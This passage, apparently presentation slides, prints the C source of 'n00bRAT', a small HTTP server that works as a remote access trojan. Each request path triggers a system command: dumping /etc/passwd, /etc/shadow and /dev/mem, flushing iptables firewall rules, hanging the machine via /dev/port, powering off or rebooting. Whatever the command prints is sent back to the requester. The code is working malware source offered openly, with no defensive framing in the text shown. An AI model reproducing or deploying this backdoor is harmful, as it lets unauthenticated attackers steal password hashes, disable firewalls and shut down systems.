  • 5. system("echo 'IPC error' >> zerror.log"); perror("server: PiPiNG FlaW"); exit(1); } close(1); dup(pfds[1]); return; } //it checks for the desired action in axnCode, //executes the desired system command //builds up the HTTP Response with desired Output //send the HTTP Response to Client void tellClient(){ char buf[MAXSTRSIZE] = "HTTP 200 OK0"; //buffer to hold System Commands' Output char tmpBuf[MAXSTRSIZE]; int idx; //clearing previous stream content for(idx=0; idx<strlen(buf); idx++) buf[idx]='0'; for(idx=0; idx<strlen(tmpBuf); idx++) tmpBuf[idx]='0'; for(idx=0; idx<strlen(httpResponse); idx++) httpResponse[idx]='0'; switch(axnCode){ //default case case -1:strcpy(httpResponse,httpResponse200); system("echo "<br/><br/><i>n00bROOT</i>""); break; //hangs the TuX machine case 0: strcpy(httpResponse,httpResponse200); system("cat /dev/port"); break; //all entries of /etc/passwd case 1: strcpy(httpResponse,httpResponse200); system("echo '/etc/passwd Listing: ' | cat /etc/passwd"); break; //all entries of /etc/shadow case 2: strcpy(httpResponse,httpResponse200); system("echo '/etc/shadow Listing: ' | cat /etc/shadow"); break; //all entries of /etc/resolv.conf case 3: strcpy(httpResponse,httpResponse200); system("echo '/etc/resolv.conf Listing: ' | cat /etc/resolv.conf"); break; //prints entire dynamic memory case 4: strcpy(httpResponse,httpResponse200); system("echo '/dev/mem Listing: ' | cat /dev/mem"); break; //deletes all entries of IPTABLES (Firewall) case 5: strcpy(httpResponse,httpResponse200); system("iptables --flush | echo 'IPTables Entries Deleted'"); break; //all information of all NICs case 6: strcpy(httpResponse,httpResponse200); system("echo 'ifconfig-a Listing: ' | ifconfig -a"); break; //System Coded Info of all NICs
  • 6. case 7: strcpy(httpResponse,httpResponse200); system("echo 'ifconfig-s Listing: ' | ifconfig -s");break; //PowerOff case 8: strcpy(httpResponse,httpResponse200); system("poweroff"); break; //Reboot case 9: strcpy(httpResponse,httpResponse200); system("reboot"); break; //default case default: strcpy(httpResponse,httpResponse400); system("echo "HTTP 404""); break; } read(pfds[0], buf, MAXSTRSIZE); strncat(tmpBuf,httpResponse,strlen(httpResponse)); strncat(tmpBuf,buf,strlen(buf)); send(fd2,tmpBuf,(strlen(httpResponse)+strlen(buf)),0); return; } //extracts the action code from HTTP Request //returns back the action Code int getAXN(){ char *axnTok; if((axnTok=strtok(Request," ")) != NULL){ if((axnTok=strtok(NULL," ")) != NULL){ printf("naxn: %sn",axnTok); if(strcmp("/n00b",axnTok)==0) return -1; else if(strcmp("/0",axnTok)==0) return 0; else if(strcmp("/1",axnTok)==0) return 1; else if(strcmp("/2",axnTok)==0) return 2; else if(strcmp("/3",axnTok)==0) return 3; else if(strcmp("/4",axnTok)==0) return 4; else if(strcmp("/5",axnTok)==0) return 5; else if(strcmp("/6",axnTok)==0) return 6; else if(strcmp("/7",axnTok)==0) return 7; else if(strcmp("/8",axnTok)==0) return 8; else if(strcmp("/9",axnTok)==0) return 9; else if(strcmp("/10",axnTok)==0) return 10; } } return -10; } /* n00bRAT Server SOURCE CODE ENDS HERE */ /*<----------end of File : HTTPServer.c----------->*/